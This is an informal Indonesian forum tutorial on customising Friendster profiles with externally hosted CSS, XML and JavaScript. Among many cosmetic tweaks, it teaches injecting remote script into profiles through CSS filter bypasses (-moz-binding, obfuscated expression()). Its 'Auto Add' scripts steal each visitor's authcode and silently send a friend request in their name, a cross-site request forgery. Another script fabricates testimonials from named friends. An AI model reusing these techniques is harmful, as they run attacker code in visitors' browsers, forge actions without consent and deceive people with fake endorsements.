LAYOUT WITH CSS / JAVASCRIPT TUTORIAL

Oleh: gw_nobi

BONUS 10 CSS TRICK + 10 JAVASCRIPT TRICK FOR FRIENDSTER

Hallo semua, apa kabar hari ini? Pasti lagi online ye? Heuheuheu Gimana kabar Friendsternya? Makin cantik apa makin ancur nih? Wakakakakakakgimana udah bisa bikin layout sendiri? Haa?!! Belom? Busenggnih gw bagi2 bacaan biar Profile Friendster lu semua pada kerenn! Uhmmm enaknya mulai dari mana ya? Ada yang punya ide?

Oke deh gw bikin per BAB aja ya biar kayak buku pelajaran sekolah dulu :D Nih daftar isinye BAB 1 = Gimana Cara Bikin Hostingan. BAB 2 = Gimana Cara Bikin CSS / JavaScript Eksternal. BAB 3 = 10 CSS + 10 JavaScript buat lu semua. Gw kira cukup lah 3 BAB yabiar gak terlalu pusing juga bacanya :p

OK Lets FIGHT!!!

BAB 1
Gimana Cara Bikin Hostingan. Sebelum dimulai, ada yang tau apa itu hostingan? Pasti udah pada tau kan? Ok gw anggap udah pada tau. -Site buat ngehosting dimana sih? Site penyedia jasa hostingan itu ada banyak bgt, tapi yang mudah dan bisa membaca file berekstensi PHP/JAVA/XML/CSS/MP3/DLL, hanya site tertentu seperti RIPWAY, FILEAVE, GEOCITIES,dll. -Kenapa harus di site itu? Karena GRATIS BOOO..! Bgahahahaha -Menurut lu, HOSTINGAN yang lu rekomendasiin site apaan? Menurut gw mending pake di RIPWAY/FILEAVE -Trus Cara bikinnya bijimane? Ok ok, gw mulai 1. Lu www.ripway.com ketik di browser lu. Nah, nanti lu bakalan nemu Page seperti ini.

lu klik

trus lu bakalan ngedirect ke halaman ini..

Lu isi form diatas, trus klik Sign Up Now! Nah udah daftar kan? Horeee akhirnya punya hostingan :D Trus lu bakalan ke direct ke halaman ini..

Abaikan aje halaman itu, trus lu klik sama password yang barusan lu bikin.

, lu masukin username

Ok skr kita dah masuk ke halaman utama. sekarang kita cari gambar ini lu bakalan nemu halaman ini. , kalo dah ketemu, lu klik trus

Kita sekarang berada di page My Files. Trus kita harus ngapaen? Trus ambil rokok dolosambil ngopibentar beli rokok dolo.

Udah? Kalo udah kita bahas soal My Files di BAB 2 ya Lets GO!!!

BAB2
Gimana Cara Bikin CSS / JavaScript / XML Eksternal. Gimane BAB 1 Mudah kan? Tentu mudah bin gampang Ok sekarang ceritanya kita ada di Halaman My Files .. Sekarang kita bikin dolo subfolder. Caranya? Cari gambar ini : masukin nama di kolom

, trus

tsb, lalu klik Creat Subfolder.. setelah lu klik Creat Subfolder, lu bakalan dikasi page kayak begini

Lalu, lu klik nama folder yang udah lu buat, seperti

ini. Trus lu bakalan dianterin ke halaman ini

Nah lohkosong? Bingung kan kudu gimana...permainan baru saja dimulai dari sini HAHAHAHA. :ngacir: Tugas kita sekarang bikin XML + CSS + JAVASCRIPT .. Ikuti langkah2 pembuatannya dibawah.nyookk!

XML (Extensible Markup Language )

Pertama tama kita bikin dulu XML nya ya Apa itu XML? Extensible Markup Language (XML) adalah bahasa markup serbaguna yang direkomendasikan W3C untuk mendeskripsikan berbagai macam data. XML menggunakan markup tags seperti halnya HTML namun penggunaannya tidak terbatas pada tampilan halaman web saja. Klik Tiba2nongol beginian

XML SOURCE: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="cradle"> <implementation> <constructor><![CDATA[document.write('<script src= URL .JS MASUKIN DISINI></script>')]]></constructor> </implementation> </binding> </bindings> CONTOH!

Setelah di save, lu bakalan bisa liat hasilnya Seperti ini

Klik Edit , untuk merubah isi dari XML tsb. Tahap pembuatan XML selesaihoeeee.

Sekarang kita lanjutin aja yuk ke tahap pembuatan CSS LINKERnya Bentar2baca dulu baik2 ke atas, udah paham belom? Kalo udah nyook kita scroll ke bawah.sabar sabarpelan mas pelan

CSS

(Cascading Style Sheets )

Sekarang kita bikin CSS nye Piye carane? Apaan tuh CSS? Cascading Style Sheets (CSS) adalah suatu bahasa stylesheet yang digunakan untuk mengatur tampilan suatu dokumen yang ditulis dalam bahasa markup. Penggunaan yang paling umum dari CSS adalah untuk memformat halaman web yang ditulis dengan HTML dan XHTML. Walaupun demikian, bahasanya sendiri dapat dipergunakan untuk semua jenis dokumen XML termasuk SVG dan XUL. Spesifikasi CSS diatur oleh World Wide Web Consortium (W3C). CSS digunakan oleh penulis maupun pembaca halaman web untuk menentukan warna, jenis huruf, tata letak, dan berbagai aspek tampilan dokumen. CSS digunakan terutama untuk memisahkan antara isi dokumen (yang ditulis dengan HTML atau bahasa markup lainnya) dengan presentasi dokumen (yang ditulis dengan CSS). Pemisahan ini dapat meningkatkan aksesibilitas isi, memberikan lebih banyak keleluasaan dan kontrol terhadap tampilan, dan mengurangi kompleksitas serta pengulangan pada stuktur isi. CSS memungkinkan halaman yang sama untuk ditampilkan dengan cara yang berbeda untuk metode presentasi yang berbeda, seperti melalui layar, cetak, suara (sewaktu dibacakan oleh browser basis-suara atau pembaca layar), dan juga alat pembaca braille. Halaman HTML atau XML yang sama juga dapat ditampilkan secara berbeda, baik dari segi gaya tampilan atau skema warna dengan menggunakan CSS.

Langkahnya tetep sama, klik gambar ini bakal di anter ke halaman ini

trus lu tetep

Lalu masukin Source CSS seperti ini.

body { -moz-binding:url(" URL XML YANG BARUSAN DIBIKIN#cradle"); position:relative; padding:0px; width:expression( function load(){ get=document.createElement("script"); get.type="text/javascript"; get.src=" URL JAVASCRIPT LOE"; document.getElementsByTagName("head")[0].appendChild(get);} window.onload=load); }

Contoh :

Setelah selesai bikin CSS, lu bakal kembali ke halaman folder tadi, tapi ada yang nambahseperti ini contohnya

Tuh kan udah ada contoh.css yang baru Mudah kan? Gimana mau lanjut? Apa istirahat dulu? Lanjut aja ya langsung biar cepet wahhahahah Sebelum kita bikin File Javascript, hendaknya kita tau dolo bahwa JavaScript itu bisa kita tidak pakai. Karena javascript itu fungsinya hanya sebagai atribut. Ok gw lanjut ya bikin File Javascript.

=========================================================== ========

JS / JAVASCRIPT
JavaScript adalah nama implementasi Netscape Communications Corporation untuk ECMAScript standar, suatu bahasa skrip yang didasarkan pada konsep pemrograman berbasis prototipe. Bahasa ini terutama terkenal karena penggunaannya di situs web (sebagai JavaScript sisi klien) dan juga digunakan untuk menyediakan akses skrip untuk objek yang dibenamkan (embedded) di aplikasi lain. Walaupun memiliki nama serupa, JavaScript hanya sedikit berhubungan dengan bahasa pemrograman Java, dengan kesamaan utamanya adalah penggunaan sintaks C. Secara semantik, JavaScript memiliki lebih banyak kesamaan dengan bahasa pemrograman Self. Skrip JavaScript yang dimasukkan di dalam berkas HTML ataupun XHTML harus dimasukkan di antara tag <script>...</script>. Berikut ini adalah contohnya (yang akan menampilkan sebuah dialog box berisi Halo Dunia! ketika sebuah tombol diklik oleh pengguna):
<input type="button" value="Tekan di sini" onclick="halo();"> <script type="text/javascript"> function halo() { alert( "Halo Dunia!" ); } </script>

sekarang gimana cara kita bikin File JavaScript? Langkahnya tetep sama, klik gambar ini bakal di anter ke halaman ini trus lu tetep

Contoh, kita masukan script ini:

var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); function afa() { var eadd = "EMAIL FS LU"; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageO wnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />"; } if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();};

itu script gunanya untuk AUTO ADD di Friendster. Contoh Gambar:

Setelah kita CREATE, kita bakal punya file Javascript baru di halaman folder kita. Seperti ini contohnya:

Nah sekarang kita udah punya 3 file, yaitu XML, CSS , dan Javascript. Gimana? Mudah kan? Trus sekarang apa yang di sebut dengan URL JS/URL CSS/URL/XML ? URL JS = http://h1.ripway.com/gwnobi2/contoh/contoh.js URL CSS = http://h1.ripway.com/gwnobi2/contoh/contoh.css URR XML = http://h1.ripway.com/gwnobi2/contoh/contoh.xml Kita bisa lihat di Direct Link bawah nama File kita. Dan URL tsb yang kita copy paste di setiap ada perintah GANTI URL DISINI(sesuai yang di perintahkan).

Terus, kalo mau masukin ke FS gimana caranya? 1. Login di FS kita 2. Klik Edit Profile 3. Lalu kita lihat dibagian About me dan Who I want to meet
gambar dibawah )

( seperti

Kita isikan Linker CSS kita dibagian About me atau Who I want to meet. Linker CSS : <link rel="stylesheet" href=" GANTI DENGAN URL CSS "> Kita copy source diatas dan pastekan di bagian About me / who I want to meet.

OK selesai sudah BAB 1 dan 2. bagaimana? Sudah di mengerti? Kalo belom kita bahas aja ya di forum. Trus udah ini kita ke BAB 3 aja ya? Gimana mau? Pasti mau donk..ehueheuhe Ok deh kita mulai aja BAB 3 ya.

BAB 3
10 CSS + 10 JAVASCRIPT Nih gw kasi sedikit CSS dan Javascript koleksi gw.

CSS
(ingat semua source CSS kita taruh di File CSS kita bukan di tempat lain)

1. Translucent Box
Untuk Semua Box .controlpanel { background-color: #000000; filter:alpha(opacity=80); -moz-opacity:0.9;opacity: 0.9; } .commonbox { background-color: #000000; filter:alpha(opacity=80); -moz-opacity:0.9;opacity: 0.9; } .commonbox .evenrow { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } Untuk ShoutBox .controlpanel .so, .minicontrolpanel .so { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } .controlpanel .sol, .minicontrolpanel .sol { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; } .controlpanel .sob, .minicontrolpanel .sob { background-color: #000000; filter:alpha(opacity=80;); -moz-opacity:0.9;opacity: 0.9; }

Save Semua Source di CSS file lu. Yang warna merah adalah HEXCOLOR, itu bisa dig anti sesuai ingin kita. #000000 adalah warna hitam dan itu bisa lu ganti semau lu.

2. Title Bar pake CSS /* Title Bar */ body{top:expr/**/ession(fstweakerspagetitle() function fstweakerspagetitle(){ document.title = 'GANTI TEKS NYA DISINI'; });} Preview:

3. Primary Photo pake Border Gambar /* Primary photo pake border gambar*/ .controlpanel .imgblock200 { background-color: transparent; background-image: url(URL GAMBARNYA DISINI); background-position: center center; background-attachment: fixed; background-repeat: repeat; border-color: #000000; border-style: dashed; border-width: 4px; padding-left: 10px; padding-right:10px; padding-top:10px; paddingbottom:10px; margin-left:0; margin-right:0px; margin-top:25; margin-bottom:0px; } Preview :

4.

Bikin Profile ditengah

( yang di pinggir kanan/kiri ilang)

.controlpanel,.photos,.blogs,.reviews,.moreabout,.publiccomments,.scrapbook,.Widget,. AppModule{ position:relative;left:150px!important;width:490px;overflow:auto}.meettrail,.friends,.gro ups,.fanof {visibility:hidden!important}#googleAdPlacement display:none!important}body{overflow-x: visibility:hidden!important}

Preview:

5. Animasi Primary Photo div.imgblock200 { background:url(URL GAMBA .GIF TARUH DISINI); background-position: center center; background-repeat: no-repeat; height:??px; width:??px; } div.imgblock200 img {display:none !important} rubah width dan height sesuai keinginan lu. Preview: Percuma kali previewgambarnya juga ga bakal jalan kalo di PDF..wakakakka

6. Rubah Warna yang di block ( FF onlehh )

::-moz-selection{ background:#FBF5F8; color:#382C33; } ::selection { background:#FBF5F8; color:#382C33; } Ganti warna HEX di tulisan yang gw warnain merah:D Preview:

7. Welcome Alert pake CSS Normal Welcome Alert body{left:exp/**/ression( function welcome() { alert('Pesen'); } window.onload=welcome);}

Double Welcome Alert body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); } window.onload=welcome);} Megaton Welcome Alert body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); } window.onload=welcome);} Preview:

8. New Main Nav

/*REMOVE BLUE HORIZONTAL BAR*/ #mainnav{margin: 0 0px; background:transparent! important; border: transparent!important; text-align: center; } /*REMOVE CLASSIFIED,JOB,INVITE*/ .secondary_links {display:none} /*CENTER MAINNAV- IE ONLY*/ .primary_links { margin-left: 160px !important;} /* HOME , My Apps , Search */ #mainnav ul li span.noSubMenu a { background-color:transparent! important; padding-right: 0px; color: #8B4513;/* lu bisa rubah warna background disini*/} /* MY PROFILE , MY CONNECTION , EXPLORE*/ #mainnav ul li a { display: inline; margin-right: 0px! important; padding-bottom: 0pt; padding-left: 0px; text-decoration: none; color: #8B4513! important; font-size: 12px; line-height: 20px; font-weight: bold; white-space: nowrap; /* u may put bg, border codes here*/} /*HOVER- PRIMARY LINKS*/ #mainnav ul li a:hover { color: #CD853F! important; background: transparent! important; text-decoration: none;/* u may put bg, border codes here*/ } /*REMOVE or CUSTOMIZE Arrow to BULLETS or BG*/ #mainnav .mainfoldericon { background-color: transparent! important; background-image: url()! important; background-repeat: no-repeat; background-attachment: scroll;} /*SUBLINK DROP DOWN MENU*/ #mainnav ul li ul li a {display: block; padding-top: 1px; padding-right: 0pt; padding-bottom: 1px; padding-left: 0px; background:#FDF5E6; color:#8B4513; border:2px outset #FFFFFF; margin: 3px 0 0 0; text-align:center! important ; /* u may put bg codes here*/} /*SUBLINK DROP DOWN MENU- Hover*/ #mainnav ul li ul li a:hover {color:#CD853F; border:2px inset #FFFFFF; background-color:#FDF5E6! important; text-decoration: none; /* u may put bg code here*/} /*REMOVE BLUE BACKGROUND SUBLINK CONTAINER*/ #mainnav ul li ul {left: 0pt;position: absolute;top: 20px;display: block;visibility: hidden; padding-top: 5px;padding-right: 5px;padding-bottom: 5px;padding-left: 5px; background-color: transparent;width: 150px; /*REMOVE DOTTED BORDER*/ #mainnav ul li ul li {border-width: 0px! important;border-style: none! important;border-color: transparent! important;}

Preview :

9. Hover background pake gambar

/* HOVER BACKGROUND EFFECT */ a:hover, a.navbar:hover { background-image:url(URL GAMBAR .GIF); } a:hover img { background-image:url(URL GAMBAR .GIF); filter:none; }

Preview: No preview..huhuhuhuh 10.Ganti Footer pake gambar #footer {display: none;} #footer_container { background:url(URL .JPG,.PNG,GIF) ; background-repeat:no-repeat; background-attachment:fixed; background-position:center center;width:800px!important;height:140px!important;position:relat ive!important; bottom:3px!important; } #footer_container div { display:none!important; } #footer_container a { display:none!important; } #footer_container span { display:none!important; } Ukuran 800px dianjurkan, ganti yang 140px sesuai keinginan lu

JAVASCRIPT
(ingat semua source Javascript kita taruh di File Javascript kita bukan di tempat lain)

1. Bikin Testimonial / Comment Palsu

if (!attachOnLoadHandler(function(){embed()})) window.onload = function(){fakecomments()}; function fakecomments(){ var bwizett = "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend'></a></div></td> "+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend'></a></div></td> "+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/Friend_FS_ID '>"+ "<img src='Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/Friend_FS_ID '>Friend_Name</a></li>"+ "<li>Comment</li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/comment s.php?uid=ID FS LO\" target=\"_blank\"><b>View All </a> | <a href=\"http://www.friendster.com/comment s.php?uid=ID FS LO\" target=\"_blank\">Post a Comment</b></a></div>"+ "</ul></td>"+ "</tr></tbody></table></div>"; document.getElementById('content_18').style .height='100%'; document.getElementById('content_18').style .overflowY='hidden'; document.getElementById('content_18').inne rHTML = "<table width='100%'><tr><td align='center'>"+bwizett+"</td></tr></table >"; }setTimeout("embed()",10000);

Keterangan: Friend_FS_ID = ID FS TEMEN LO Photo_Url_Of_Friend = URL PHOTO TEMEN LO Friend_Name = NAMA TEMEN LO Comment = TESTIMONIAL MANIPULASI

Preview:

2. Costumize Main Navigation function feruzzbedalakubalik() { var nakmakanayam = document.getElementById("mainnav"); var nkgilondon = "<div class=\"primary_links\"><a href=http://www.friendster.com/>Home</a> | <a href=http://www.friendster.com/user.php>Profile</a> | <a href=http://www.friendster.com/friends.php>Friends</a></div><div class=\"secondary_links\"><a href=http://www.friendster.com/explore.php>Explore</a> | <a href=http://www.friendster.com/gallery.php>Search</a> | <a href=http://www.friendster.com/video.php>Video</a> | <a href=http://www.friendster.com/editcollege.php?A=s>Schools</a> | <a href=http://olx.friendster.com/gateway_cobranded.php>Classifieds< /a> | <a href=http://olx.friendster.com/gateway_cobranded.php?target=jobs>J obs</a> | <a href=http://www.friendster.com/blogs.php>Blogs</a> | <a href=http://www.friendster.com/group/mygroup.php>Groups</a> | <a href=http://www.friendster.com/invite.php>Invite</a></div>"; nakmakanayam.innerHTML = nkgilondon; } window.onload = function() {feruzzbedalakubalik();} Preview:

3. Alert Message pake Javascript

Simple Welcome Alert alert("Welcome to my profile"+pageViewerFName+"!"); Double Welcome Alert. alert("Welcome to my profile "+pageViewerFName+"!"); alert("Ready?"); Welcome Alert With Line Breaks alert("Welcome to my profile "+pageViewerFName+"!" + '\n' + "Are You Happy Today?" + '\n' + "If Not Always Smile!"); alert("Anyway Give Me Some Comments " + '\n' + "Sorry For The Inconvinience..." + '\n' + "Have A Nice Day!"); Preview:

4. Auto Add var email_add = "EMAIL FS LU"; var get_authcode = document.getElementById("controlPanelButtons").innerHTML; var add_it = get_authcode.slice(get_authcode.indexOf("authcode=")); var PlaceInput = add_it.slice(9,39); document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode=' + PlaceInput + '&uid=' + pageOwnerID + '&email=' + email_add + '&firstname=&lastname=&friend=&submit=1"' + ' width="0" height="0" style="display:none" />');

5. Icon dibawah tombol Control Panel

var penyuberenang; try {penyuberenang = document.createElement("div");} catch (e) {penyuberenang = document.createElement("<div>");} penyuberenang.innerHTML = "URL ICON KAMU DISINI"; penyuberenang.setAttribute("style","text-align:center;padding-top:10px"); document.getElementById("controlPanelButtons").parentNode.appendChild(penyuberen ang);

Preview:

6. Ganti Data kamu di Control Panel + Gambar

if (typeof CFNAMES == "undefined") { CFNAMES = {}; } CFNAMES = { getData: null, sibling: null, init: function() { CFNAMES.getData = document.createElement("ul"); CFNAMES.getData.setAttribute("class","data"); CFNAMES.getData.innerHTML = "<li><span class=\"q\">TEXT KAMU</span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span></li>"+ "<li><span class=\"q\"> TEXT KAMU </span>"+ "<a style=\"font-weight: normal;\" href=\"/ TEXT KAMU \"> TEXT KAMU </a></li>"; CFNAMES.sibling = CFNAMES.getElementsByClassName(document.getElementById("content_0") ,"ul","data")[0]; CFNAMES.sibling.parentNode.replaceChild(CFNAMES.getData,CFNAMES.si bling); }, getElementsByClassName: function(oElm,sTag,sClass) { var elm = []; if (!oElm)oElm = document; if (!sTag)sTag = "*"; var els = oElm.getElementsByTagName(sTag) || document.all; for (var i=0,j=els.length;i<j;i++) { if (new RegExp(sClass).test(els[i].className))elm.push(els[i]); } return elm; } };CFNAMES.init();

Untuk yang berGAMBAR pakai Source ini

if (typeof CFNAMES == "undefined") { CFNAMES = {}; } CFNAMES = { getData: null, sibling: null, init: function() { CFNAMES.getData = document.createElement("ul"); CFNAMES.getData.setAttribute("class","data"); CFNAMES.getData.innerHTML = "<li><span class=\"q\"><img src=\"URL GAMBAR\"> YOUR TEXT</span></li>"+ "<li><span class=\"q\"><img src=\" URL GAMBAR \"> YOUR TEXT</span></li>"+ "<li><span class=\"q\"><img src=\" URL GAMBAR \"> YOUR TEXT</span></li>"+ "<li><span class=\"q\"><img src=\" URL GAMBAR \"> YOUR TEXT</span></li>"+ "<li><span class=\"q\"><img src=\" URL GAMBAR \"> YOUR TEXT</span></li>"+ "<li><span class=\"q\"><img src=\" URL GAMBAR \"> YOUR TEXT</span></li>"+ "<li><span class=\"q\">My URL: </span>"+ "<a style=\"font-weight: normal;\" href=\"/USERNAME LU\">http://profiles.friendster.com/NAMA LU</a></li>"; CFNAMES.sibling = CFNAMES.getElementsByClassName(document.getElementById("content_0") ,"ul","data")[0]; CFNAMES.sibling.parentNode.replaceChild(CFNAMES.getData,CFNAMES.si bling); }, getElementsByClassName: function(oElm,sTag,sClass) { var elm = []; if (!oElm)oElm = document; if (!sTag)sTag = "*"; var els = oElm.getElementsByTagName(sTag) || document.all; for (var i=0,j=els.length;i<j;i++) { if (new RegExp(sClass).test(els[i].className))elm.push(els[i]); } return elm; } };CFNAMES.init();

7. Ganti Menu Logout Pake kata2 sendiri if (typeof SUBNAV == "undefined") { SUBNAV = {}; } SUBNAV = { elements: { mainid: document.getElementById("subnav").getElementsByTagName("a") }, init: function() { //For "Messages" SUBNAV.elements.mainid[0].innerHTML //For "Settings" SUBNAV.elements.mainid[1].innerHTML //For "Help" SUBNAV.elements.mainid[2].innerHTML //For "Log Out" SUBNAV.elements.mainid[3].innerHTML } };SUBNAV.init(); Preview :

= "TEKS LU"; = " TEKS LU "; = " TEKS LU "; = " TEKS LU ";

8. Customize More About Box --> Schools(Other):, Affiliations: etc...

if (typeof MOREABOUT == "undefined") { MOREABOUT = {}; } MOREABOUT = { getElements: null, elements: { mainid: document.getElementById("content_6"), maintag: "span", mainclass: "q" }, init: function() { try { MOREABOUT.getElements = __LongTerm__ MOREABOUT.getElements[0].innerHTML = "TEKS / URL GAMBAR"; MOREABOUT.getElements[1].innerHTML = " TEKS / URL GAMBAR "; MOREABOUT.getElements[2].innerHTML = " TEKS / URL GAMBAR "; MOREABOUT.getElements[3].innerHTML = " TEKS / URL GAMBAR "; MOREABOUT.getElements[4].innerHTML = " TEKS / URL GAMBAR "; }catch(e) { MOREABOUT.getElements = ""; } }, getElementsByClassName: function(oElm,sTag,sClass) { var elm = []; if (!oElm)oElm = document; if (!sTag)sTag = "*"; var els = oElm.getElementsByTagName(sTag) || document.all; for (var i=0,j=els.length;i<j;i++) { if (new RegExp(sClass).test(els[i].className))elm.push(els[i]); } return elm; } };MOREABOUT.init();

Preview:

9. VISTA TOOLBAR Pertama2 kita Upload dulu gambar ini. #Background

#Left Hover

#Right Hover

Lalu masukan Source ini ke dalam CSS File

/* VISTA TOOLBAR */ img{ border: 0pt; } #bottom_div{ width: 520px; height: 150px; background-color: #b9d1ea; clear:both; } #vista_toolbar { float:left; font:normal 12px 'Trebuchet MS','Arial'; margin:0; padding:0; } #vista_toolbar ul { background-image:url( URL BACKGROUND ); background-repeat:repeat-x; float:left; line-height:32px; list-style:none; margin:0; padding:0 10px 0 10px; width:815px; } #vista_toolbar li { display:inline; padding:0; } #vista_toolbar a { color:#FFF; /* need because it will use default link color */ float:left; padding:0 3px 0 3px; /* left 3 px because of left.png image */ text-decoration:none; } #vista_toolbar a span { display:block; float:none; padding:0 10px 0 7px; } #vista_toolbar a span img { border:none; margin:8px 4px 0 0; } /* show picture when mouse over link */ #vista_toolbar a:hover{ background: url(URL LEFT HOVER ) no-repeat left center; } #vista_toolbar a:hover span { background:url(URL RIGHT HOVER ) no-repeat right center; } #vista_toolbar a.right { float:right; }

Lalu Masukan Source ini kedalam JAVASCRIPT FILE

document.getElementById("marketing_bg").innerHTML="<div id=\"vista_toolbar\">"+ "<ul>"+ "<li><img align='left' src='http://www.a1itservices.co.uk/images/vista-logo.gif' height='28' width='28'><a href=\"http://www.friendster.com/\"><span>"+ "<img align=\"left\" src=\"http://th283.photobucket.com/albums/kk288/ctown1210/th_home1.png\""+ "width=\"20\" height=\"20\" alt=\"Home\"/>Home</span></a></li><li><a href=\"http://www.friendster.com/user.php\"><span>"+ "<img align=\"left\" src=\"http://th244.photobucket.com/albums/gg19/lovelights_/lovelights/th_iconfriendster1.gif\""+ "width=\"20\" height=\"20\" alt=\"My Profile\"/>My Profile</span></a></li><li><a href=\"http://www.friendster.com/widget_myapps.php\"><span>"+ "<img align=\"left\" src=\"http://i234.photobucket.com/albums/ee220/ezekielclarion/navigation%20vista/chart.gif\ ""+ "width=\"20\" height=\"20\" alt=\"My Apps\"/>My Apps</span></a></li><li><a href=\"http://www.friendster.com/friends.php\"><span>"+ "<img align=\"left\" src=\"http://th241.photobucket.com/albums/ff238/LICY76/th_CopyofRemote_Connexion2.png \""+ "width=\"20\" height=\"20\" alt=\"My Connections\"/>My Cnnctions</span></a></li><li><a href=\"http://www.friendster.com/explore.php\"><span>"+ "<img align=\"left\" src=\"http://th108.photobucket.com/albums/n3/lbomber7/th_firefox_icon.png\""+ "width=\"20\" height=\"20\" alt=\"Explore\"/>Explore</span></a></li><li><a href=\"http://www.friendster.com/gallery.php\"><span>"+ "<img align=\"left\" src=\"http://i202.photobucket.com/albums/aa167/Teckelmen/search-icongreen.gif\""+ "width=\"20\" height=\"20\" alt=\"Search\"/>Search</span></a></li><li><a class=\"right\" href=\"http://www.friendster.com/invite.php\"><span>"+ "<img align=\"left\" src=\"http://th186.photobucket.com/albums/x21/paulyb06/th_iconmsn.gif\""+ "width=\"20\" height=\"20\" alt=\"Find Friends\"/>Find Friends</span></a></li><li><a class=\"right\" href=\"http://olx.friendster.com/?set_country_filter=168\"><span>"+ "<img align=\"left\" src=\"http://images01.olx.com/images/powered-olx.png\""+ "width=\"20\" height=\"20\" alt=\"help\" />Classifieds</span></a></li></ul>"+ "</div>";

Preview:

10. Reduce Comment

/*global rCOMM, document*/ rCOMM = {}; (function () { rCOMM = { comm: null, num: 5, init: function () { rCOMM.comm = rCOMM.getElementsByClassName(document.getElementById("content_18"), "div", /fitem1wrapper/i); for (var x = rCOMM.num, y = rCOMM.comm.length; x < y; x += 1) { if (rCOMM.comm[x]) { rCOMM.comm[x].parentNode.removeChild(rCOMM.comm[x]); } } }, getElementsByClassName: function (oElm, sTag, sClass) { var elm = []; if (!oElm) { oElm = document; } if (!sTag) { sTag = "*"; } var els = oElm.getElementsByTagName(sTag) || document.all; for (var j = 0, k = els.length; j < k; j += 1) { if (new RegExp(sClass).test(els[j].className)) { elm.push(els[j]); } } return elm; } }; })(); rCOMM.init();

Perhatikan Source ini.

(function () { rCOMM = { comm: null, num: 5,

Ganti angka 5 dengan angka yang kita hendaki, gunanya untuk mengatur jumlah comment yang nongol di profile kita.

Akhirnya selesai juga Tutorial yang aneh iniwakakakakaka. Oh iya,,,,

JANGAN SAMPAI SALAH MASUKIN SOURCE. SOURCE CSS DIMASUKIAN DI DALAM CSS EKSTERNAL / CSS FILE SOURCE JS DIMASUKIAN DI DALAM JS EKSTERNAL / JS FILE
Dimohon untuk baca ulang setiap tutorial, hendaknya langsung di praktekan agar langsung ngerti. Jangan malu untuk bertanya. Saya selalu ada untuk kalian di KASKUS. Akhir kata saya ucapkan

SALMEEEEK!!!!!!!!!!!!!!!!!

